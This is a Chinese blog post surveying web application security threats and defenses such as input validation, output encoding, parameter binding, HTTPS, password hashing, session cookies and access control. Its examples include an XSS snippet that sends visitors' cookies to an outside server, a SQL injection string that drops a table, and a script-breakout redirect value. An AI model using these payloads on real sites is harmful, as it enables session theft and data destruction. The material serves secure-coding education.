智乐活

互联网应用安全威胁及应对方法

2018/04/20 Share

互联网应用安全威胁的应对

written by xiaokaiqun, 2018-04-20

《大型网站技术架构》 一书中提到:安全高可用可拓展性能可伸缩是衡量一个网站架构能力的五个方面。其中,安全是必不可少的组成部分。

由于我之前对安全问题的理解都比较碎片化,不够系统,最近就有针对性的看了一些资料,并将它们整理在这里,希望读者看完后能了解常见的安全威胁和应对方法,并运用到实际生产中去。

本文是安全问题的总览,对某些问题的深入探讨我们会单独写一篇文章进行讨论。

参考资料包括:

1.MartinFowler的博客

2.《大型网站技术架构》中的

3.《阿里巴巴Java开发手册》中的“安全规约”

4.一篇微信文章《互联网安全威胁及应对方案》


安全威胁有很多种类,应对手段也分很多种类。某些威胁可能用很多种手段都能有效应对,而某些手段也能同时应对多种威胁。实际上它们是多对多的关系,如下图:

本文会以应对手段为线索去总结,这种应对手段能够对付何种威胁,且要做到有效防御我们需要付出哪些努力。这种讲述逻辑的好处是:更贴近生产实际,便于大家运用、实践。

为了保证应用安全性,我们需要做到以下几点:

  • 【输入】有效验证用户输入参数 / 拒绝非法输入参数
  • 【输出】输出安全过滤后的用户数据
  • 【数据库】使用参数绑定防止SQL注入
  • 【传输】全面使用HTTPS
  • 【密码】加密存储用户密码
  • 【验证身份】正确验证用户身份和管理Session
  • 【权限校验】验证用户有权进行某种操作
  • 【防止恶意访问】防接口被刷&风控
  • 【漏洞】扫描系统和软件漏洞

【输入】有效验证用户输入参数 / 拒绝非法输入参数

互联网在线服务的实现方式大多是接收用户 输入=>处理=>输出 的过程。在输入这一环节,后端应用必须对参数进行有效性验证,否则可能存在如下威胁:

  • XSS攻击
  • 各种拒绝服务攻击(DOS)
  • 各种注入攻击
  • CSRF
  • 资源盗链
  • 垃圾信息

有同学问:我已经在web前端验证过输入参数了,还有必要在后端再验证吗?

答案是:很有必要。因为攻击者可能通过curl等工具绕过前端验证,直接调用API,此时前端验证形同虚设。

我先简单介绍一下上述几种威胁的概念:

1. XSS(Cross Site Script)攻击

指攻击者通过表单提交HTML页面可执行的脚本代码或脚本的链接。这些内容被保存在网站数据库中。当这些脚本被渲染到其它用户的HTML页面中时会被执行,达到一些非预期的不良后果。

案例1:我在逛某论坛时,发个帖子,内容为:

1
new Image().src="http://xiaokaiqun.com/getcookie?cookie="+encodeURIComponent(document.cookie);

当其它用户打开帖子时,他的cookie信息就被发到我的服务器了。

常见的XSS手段:XSS Filter Evasion Cheat Sheet

2. 拒绝服务(Denial of Service)攻击

指攻击者通过手段消耗系统资源,使真实用户无法正常使用服务的攻击。

这里要提一句DDOS攻击:DDOS是分布式的DOS攻击,指用多台机器分布式地对一个网站发起攻击。常见手段是基于TCP SYN FLOOD或 IP RST两种方式。

公司历史上曾经受到过基于TCP SYN FLOOD的DDOS攻击,这种攻击会向服务器发送大量没用的TCP握手请求,占满服务器的TCP缓冲区,导致正常用户无法建立连接。

这种攻击的防御手段不在本次的讨论范围之内,回头可能会单独写一篇东西讲述。

DOS具体又包括:

  • 不合适的参数值造成数据库查询耗费过多的资源(page size、order by)
  • 正则输入源reDos
  • 传入过多、过长的垃圾内容占满磁盘空间

3. 注入攻击

指攻击者通过输入参数或其它手段传入一些恶意的程序、指令在服务端执行,造成破坏。包括:

案例2:SQL注入

攻击者首先要掌握网站数据库的表名、字段名等信息。并在提交的参数中加入一些SQL语句指令,这些语句可能会造成破坏、或数据泄露。

如“ ‘1; drop table user; ”,如果这个输入被拼成SQL语句,可能会得到:

select * from user where id = 1; drop table user;

如果它被执行,user表将被删除。

4. CSRF

即:跨站请求伪造。指攻击者在自己的网站上嵌入一段被攻击者网站的API调用脚本。当用户访问后,该脚本会往被攻击者网站发送请求,被带上被攻击者域名下的cookie值。

在用户毫无察觉的情况下,他就执行了一次成功的业务调用,如果这是银行转账的请求,那…T-T

5. 资源盗链

指A站点的资源中有指向B站点资源(图片、视频等)的链接,A站点在没有消耗流量的情况下,为用户提供了商业服务,而B站点却承担了费用。

6. 垃圾信息

包括含有敏感、违法或广告内容的用户生成的数据,可能对网站造成破坏。

最佳实践

以上是对五种威胁的简单介绍,那么如何通过验证输入参数来做防御呢?

对于输入参数,有以下几点验证原则:

  • 根据业务逻辑,为参数设置白名单,拒绝一切不在合法范围内的内容
    • 如:用数值范围、长度、正则表达式等去做正向验证
  • 如果找不到准确的白名单,就(借助web框架、中间件的功能)设置黑名单。
    • 如:Java的ESAPI;
    • Hibernate;
    • Spring的内置type safe params in Controller 和Validator interface;
    • 等,都可以辅助实现输入参数验证;网上有不少使用实例。
  • 在关键业务处使用CSRF token验证
    • 在生成页面时生成一个token,并渲染在页面中,提交请求时进行验证。
  • 防盗链:检查Referer头中的域名来源是否合法
  • 信息反垃圾过滤:
    • 通过敏感词匹配、分类算法和黑名单(Hash或布隆过滤器)的方式实现
  • 验证过程越早进行越好,不要让未经过验证的参数进入业务逻辑。
  • “拒绝请求” 优于 “净化(删除部分内容,继续执行)”,因为经过参数净化之后,可能仍然存在安全隐患。

【输出】输出安全过滤后的用户数据

MVC模式是常用的web应用开发模式,我们处理后的数据最终会以model的形式传递给View组件,输出到HTML页面中。

不管是使用JSP技术,还是其他视图模板引擎(如Themeleaf、Velocity等),我们会直接把处理后的数据填写到对应位置,完成页面内容的拼装。

风险来自浏览器渲染HTML的过程,浏览器竭尽全力渲染HTML的全部内容,即便其中有小的语法错误。所以,未经正确编码/安全过滤的数据进入HTML后,可能会使页面不可用,造成破坏。

案例3:

假设我是用JSP技术向HTML页面里输出变量${name},变量的渲染位置为:

1
document.getElementById('name').innerText = '${name}'

如果我将name的值置为:

1
xiaokaiqun';window.location='http://baidu.com/';

这个值未经编码直接进入页面,导致页面直接跳转至百度了。

最佳实践

Martin在他的博客中说,要实现正确的输出编码是件很复杂的事情,因为你首先要搞清楚数据会被输出到什么上下文环境中:

  • Javascript
  • HTML
  • URL
  • PDF
  • CSS
  • SQL
  • XML

不同的上下文对应着不同的codec规则。

如果是嵌套的上下文环境,则还需要注意编码顺序。

要正确完成输出编码,需要做到如下几点:

  • 对所有输出的含有潜在风险的用户数据进行编码处理

  • 使用框架提供的编码功能

  • 避免嵌套的上下文

  • 等到输出时再进行编码,不要提前到存储时,因为那时你还不知道该用什么编码

  • 避免使用不安全的输出方式,参考下表。

Framework Encoded Dangerous
Generic JS innerText innerHTML
JQuery text() html()
JSP <c:out value=”${variable}”> or ${fn:escapeXml(variable)} ${variable}
Thymeleaf th:text=”${variable}” th:utext=”${variable}”
Angular ng-bind ng-bind-html (pre 1.2 and when sceProvider is disabled)

【数据库】使用参数绑定防止SQL注入

参数绑定是用来应对SQL注入的最佳手段。(用了它,你将不需要别的方法应对SQL注入了)

SQL注入的概念在上文中案例2已经介绍过,这节就详细说一下要注意的细节。

原理

问:为什么参数绑定能避免注入呢?

答:当你使用setString()方法绑定字符串参数时,它会对该字符串进行转义,对其中的” ‘ “引号改为“ \’ ”,使该参数变成一个合法的字符串,而非断句成为多条SQL命令被执行。而真正的SQL命名部分已经经过了预编译,用户输入的部分不会参与SQL语句的编译过程。

最佳实践

  • JDBC、Hibernate、Mybatis都支持参数绑定,所以务必要用

    • 禁止用String拼接完整的SQL语句
  • 使用参数绑定能够使代码更整洁

  • 避免误区:

    • 存储过程也需要使用参数绑定
    • NoSQL数据库(MongoDB、Cassandra)也需要使用参数绑定
  • 参考下表正确使用参数绑定功能:

Framework Encoded Dangerous
Raw JDBC Connection.prepareStatement()used with setXXX() methods and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
PHP / MySQLi prepare() used with bind_param for all input. Any query or update method called with string concatenation rather than binding.
MongoDB Basic CRUD operations such as find(), insert(), with BSON document field names controlled by application. Operations, including find, when field names are allowed to be determined by untrusted data or use of Mongo operations such as “$where” that allow arbitrary JavaScript conditions.
Cassandra Session.prepare used with BoundStatement and bound parameters for all input. Any query or update method called with string concatenation rather than binding.
Hibernate / JPA Use SQL or JPQL/OQL with bound parameters via setParameter Any query or update method called with string concatenation rather than binding.
ActiveRecord Condition functions (find_by, where) if used with hashes or bound parameters, eg:where (foo: bar)where ("foo = ?", bar) Condition functions used with string concatenation or interpolation:where("foo = '#{bar}'")where("foo = '" + bar + "'")
Mybatis 使用#{}形式,参数不参与编译 使用${}形式会造成SQL注入

【传输】全面使用HTTPS

接下来是一个大的话题:数据在互联网上传输时的隐私性和完整性。

隐私性:是指没有人能截获、窃听到互联网上传输的数据内容。

完整性:是指没有人能篡改传输中的数据。

对,完成这一伟大目标的正是:HTTPS。

先明确几个概念:

TLS(Transport Layer Security)协议,是SSL协议的进化版,能够完成对传输层协议的加密。

HTTPS是HTTP协议对TLS的一种应用。

关于TLS协议的加密原理,我希望日后能再写一篇文章详细解释。

本文只讨论HTTPS协议的使用中的一些实际问题:

1. 如何申请HTTPS证书?

证书是证明你是该域名所有者的方式。关于证书的更多知识可以参考《SSL 认证体系备忘录》

目前有很多机构提供免费的证书申请,如我们使用的:LetsEncript。

2.全面使用HTTPS是否会给服务器带来性能压力?

确实会比HTTP协议耗费更多的计算资源,但是完全可以承受。

选择不同的加密算法和协议版本对性能的影响是不同的,可以参考SSL Configuration GeneratorServer Side TLS Guide 去配置

3.如何阻止用户继续使用HTTP?

  • 在服务器上配置redirect规则,举例:

  • 1
    2
    3
    4
    #Nginx location
    if ($scheme != "https") {
    rewrite ^ https://$host$uri permanent;
    }
  • 使用HSTS,在响应头中加入:

  • 1
    Strict-Transport-Security: max-age=15768000
  • 会使浏览器自动转换http://https://,且禁止跳过证书不受信任的警告

4. 还有那些最佳实践?

  • 大部分浏览器禁止在https资源下请求http资源,这导致我们必须确认我们使用的第三方资源也能支持https
  • 切勿在URL中带有敏感信息,否则它可能会暴露在Referer或Log里
  • 更多最佳实践参考OWASP Transport Protection Layer Cheat Sheet

5.如何检测我网站的HTTPS安全性?

SSL Labs’ SSL Server Test


【密码】加密存储用户密码

保护用户密码不单单关系到本应用的数据安全,由于大部分用户会复用自己的密码,密码泄露可能会导致更大范围的危害。

前几年出现过某知名网站的数据库内容泄露,大量账号密码被公开…后果很严重…

因此,严禁明文存储密码。

那应该存储什么呢?

答案是密码的Hash值。

Hash算法是不可逆的摘要算法,如:MD5、SHA1等。算法的计算过程是公开的,但你无法通过摘要值得出信息原文

但是,随着计算机计算能力的提升和GPU集群的使用,常用的MD5、SHA1等摘要算法已经可以被破解了,因此他们不适合作为用户密码的Hash算法了。

下表是安全Hash算法的选择参考:

Hash Algorithm Use for passwords?
scrypt Yes
bcrypt Yes
SHA-1 No
SHA-2 No
MD5 No
PBKDF2 No
Argon2 watch (see sidebar)

光使用了安全的Hash算法还不够,因为有些用户可能会使用较为简单的字符串作为密码。即便黑客无法通过Hash值反向算出原文,当他们获取到Hash值后,他们也能通过正向匹配常见字符串的方式破解一部分用户的密码。

此时,我们可以给每位用户生成一个随机字符串,称作”盐“(salt),掺入密码原文再进行Hash计算。这一措施使得Hash值多了一些不确定性,无法再通过正向运算破解了。

OWASP组织推荐使用32bit或64bit的字符串作为盐值。

小Trick:你在存储用户的密码时,可以同时存储运用的算法标识,这一操作使你的密码系统具有了可演进性,可以支持不同时期的用户使用不同的加密规则。

这里提一句算法和秘钥的安全管理:当团队规模逐渐变大时,我们需要妥善保管加密算法和秘钥,否则可能会被泄漏出去。可选的策略是将加解密算法做成一套独立的服务,供其他服务调用。在此基础上,再将秘钥分片、分布式存储、定时更新,防止系统用户轻易地拿到秘钥。

最佳实践

  • 存储密码的Hash值,使用安全的算法
  • 给Hash值加把盐
  • 配置可演进算法版本的密码表
  • 不要存储外部服务的密码
  • 密码的长度不能太短,要制定密码的形式规范
  • 实现秘钥安全管理

【验证身份】正确验证用户身份和管理Session

先明确两个概念:

Authentication-验证:证明用户的身份和他声称的一致

Authorization-鉴权:判断用户是否有权限执行某项操作

本节说的是Authentication,验证用户身份。

验证身份用户Session管理 有着密不可分的关系,所以本节其实主要围绕Session管理展开。

什么是Session?

用户首次访问网站时,处于未登录状态,这时我们只知道他是一个普通的访客,并为他提供登录的入口。当他成功登录后,服务端为他生成一个标识并开始在客户端和服务端之间传递,这个标识作为此后识别这名用户的依据,就是SessionID

同时,服务端保持着这个用户的一些与业务相关的临时状态,称为session,其中包含SessionID

为了保证安全,SessionID必须满足 不可预期唯一保密

登录方式都有哪些?

除了用户名密码的登录方式,还有:

  • 手机号码
  • 指纹
  • SSO单点登录等

这里提一句SSO(单点登录):指使用用户已存在的账号进行身份验证,免去重新注册账号的麻烦。

如某些网站或App上提供:微信登录、QQ登录、Github登录等。

SSO的登录方式应用广泛,我想单独总结一篇博客,本节讨论的主要是session管理问题,不太关心具体登录方式,就先不展开了。

如何生成SessionID?

SessionID最好是不可预期的值,不建议使用有意义的值(如用户ID)进行拼接。因为攻击者可能会尝试理解SessionID的生成规则,并使用自创的SessionID去试图盗取别的用户的信息。

避免这种事情发生的方式就是使用随机数。

OWASP组织建议使用128bits的SessionID,可以使用SecureRandom类进行生成。

除了SessionID,尽量不要在客户端Cookie里存储其它用户信息,因为任何来自用户端的参数都可能被篡改。

如果必须存储,则在回传给服务端时,要有加密、验证手段防止信息被篡改

SessionID必须唯一,在分布式环境下,该如何生成唯一的SessionID呢?待调研、明确

如何保证SessionID不被暴露?

传输:在传输时必须采用HTTPS协议。

前端:建议只把SessionID保存在Cookie中,不要在URL、referrer、Headers中出现

后端:不要在Log中打印SessionID

正确设置Cookie四个属性:

  • domain:它本身和它的子域名可用,范围越窄越好
  • path:它本身和它的子路径可用,范围越窄越好
  • secure:必要!设置后,只有HTTPS连接才会传输该cookie
  • httponly:必要!设置后,js代码无法读取该cookie,防止被盗。

维护Session的生命周期

  • 每次验证身份后,新建一个SessionID,决不能复用SessionID,如:发现用户登录状态失效,在他再次登录后沿用上次的ID。

  • 给Session设置合理的过期时间,依据业务类型

  • 给用户提供logout的功能,并在其logout后将cookie置于过期

    • 1
      2
      Set-Cookie: sessionId=[top secret value]; path=/secret/; secure; HttpOnly;
      domain=payments.martinfowler.com; expires=Thu, 01 Jan 1970 00:00:00 GMT
  • 给用户kill all session的方法,如:在修改密码后

  • 给用户列出all active sessions

最佳实践

  • 在重要操作之前再次验证用户身份,不要直接使用Session
    • 如:阿里云在释放服务器资源时,会要求重新验证手机号/验证码
  • 使用二元验证方式,引入第二种验证机制,加强安全性
    • 如:账号密码+手机验证码
  • 不要返回暴露用户是否存在的信息
    • 在登录时,返回”用户名或密码错误“,而不是”用户不存在“
    • 在注册时,向用户邮箱发送邮件,而不是直接返回”用户已存在“的信息
  • 不要将密码硬编码进程序 或 持续使用默认密码
    • 用户第一次登陆后就要求设置新密码并作废默认密码
  • 正确地生成、保护SessionID;维护Session的生命周期
  • 可以借助一些框架完成身份验证和session管理功能
    • 如Apache Shiro、Spring Security等

【权限校验】验证用户有权进行某种操作

说完验证用户身份的方法,再讲一讲如何验证用户的操作权限。

实际上鉴权功能的实现和业务逻辑的关系很大,不同的业务场景下的权限分配逻辑大不相同。

在这里只能说一下注意事项权限系统的设计模式

注意:只在后端做权限验证

思路和前文类似,客户端传来的信息可能被篡改,因此不要把任何权限信息放在前端。

注意:实现默认拒绝的策略

为了避免程序实现中的BUG,默认拒绝所有操作请求,并在鉴权成功后再放行,能最大程度避免BUG带来的破坏。

注意:权限的粒度

权限控制的粒度可能是全系统的,也可能针对单个资源(文件、用户数据)。实现时要注意。

举例:

全系统:删除用户的权限、添加用户的权限等

单个资源:修改用户自己的属性、修改某个文件等

注意:前端缓存策略

如果用户共用浏览器,前端缓存策略可能导致页面显示和权限不符。注意禁止页面缓存:

1
Cache-Control: private, no-cache, no-store

模式:RBAC(role based access control)

指在系统中抽象出rolepermission两种实体,分别代表角色和权限,E-R图:

验证时:根据用户身份判断他是否有对应的permission。

模式适用场景:

  • 权限类型数量相对固定
  • 角色与权限的映射关系在手动维护的范围之内,不会出现人-权限的大规模自由动态组合。

模式:ABAC(attribute based access control)

比RBAC更加复杂,但是可以支持权限动态组合,适合角色-权限映射关系不固定的系统。

实现方法包括XACML 和 DSL,不详细说了。

框架:简化代码

考虑使用类似Spring Security框架的声明式鉴权过程


【防止恶意访问】防接口被刷&风控

《阿里巴巴开发手册》中几次提到了”放刷“

“在使用平台资源,譬如短信、邮件、电话、下单、支付,必须实现正确的防重放限制,如数量限制、疲劳度控制、验证码校验,避免被滥刷、资损。”

“说明:如注册时发送验证码到手机,如果没有限制次数和频率,那么可以利用此功能骚扰到其它用户,并造成短信平台资源浪费。”

“发贴、评论、发送即时消息等用户生成内容的场景必须实现防刷、文本内容违禁词过滤等风控策略。”

这里提一下接口防刷的策略:

  • 前端:在提交请求前设置验证码,限制提交次数和提交频率
  • 后端:通过IP地址或其他用户标识做访问频率限制
    • 一方面前端的限制可能被绕过,后端防刷是必要的
    • 这一功能可以尽量提前,不要让过量请求进入到后端应用服务器,最好在网关或者代理层就拦截掉。

【漏洞】扫描系统和软件漏洞

我们使用的服务器操作系统、软件都可能存在漏洞,定期使用漏洞扫描工具可以排查出一些问题,是持续加固网站安全性的一种方法。

阿里云本身也提供了安全漏洞方面的工具,便于排查,我们也可以主动使用起来。

CATALOG
  1. 1. 互联网应用安全威胁的应对
    1. 1.0.1. 【输入】有效验证用户输入参数 / 拒绝非法输入参数
      1. 1.0.1.1. 1. XSS(Cross Site Script)攻击
      2. 1.0.1.2. 2. 拒绝服务(Denial of Service)攻击
      3. 1.0.1.3. 3. 注入攻击
      4. 1.0.1.4. 4. CSRF
      5. 1.0.1.5. 5. 资源盗链
      6. 1.0.1.6. 6. 垃圾信息
      7. 1.0.1.7. 最佳实践
    2. 1.0.2. 【输出】输出安全过滤后的用户数据
      1. 1.0.2.1. 最佳实践
    3. 1.0.3. 【数据库】使用参数绑定防止SQL注入
      1. 1.0.3.1. 原理
      2. 1.0.3.2. 最佳实践
    4. 1.0.4. 【传输】全面使用HTTPS
      1. 1.0.4.1. 1. 如何申请HTTPS证书?
      2. 1.0.4.2. 2.全面使用HTTPS是否会给服务器带来性能压力?
      3. 1.0.4.3. 3.如何阻止用户继续使用HTTP?
      4. 1.0.4.4. 4. 还有那些最佳实践?
      5. 1.0.4.5. 5.如何检测我网站的HTTPS安全性?
    5. 1.0.5. 【密码】加密存储用户密码
      1. 1.0.5.1. 最佳实践
    6. 1.0.6. 【验证身份】正确验证用户身份和管理Session
      1. 1.0.6.1. 什么是Session?
      2. 1.0.6.2. 登录方式都有哪些?
      3. 1.0.6.3. 如何生成SessionID?
      4. 1.0.6.4. 如何保证SessionID不被暴露?
      5. 1.0.6.5. 维护Session的生命周期
      6. 1.0.6.6. 最佳实践
    7. 1.0.7. 【权限校验】验证用户有权进行某种操作
      1. 1.0.7.1. 注意:只在后端做权限验证
      2. 1.0.7.2. 注意:实现默认拒绝的策略
      3. 1.0.7.3. 注意:权限的粒度
      4. 1.0.7.4. 注意:前端缓存策略
      5. 1.0.7.5. 模式:RBAC(role based access control)
      6. 1.0.7.6. 模式:ABAC(attribute based access control)
      7. 1.0.7.7. 框架:简化代码
    8. 1.0.8. 【防止恶意访问】防接口被刷&风控
    9. 1.0.9. 【漏洞】扫描系统和软件漏洞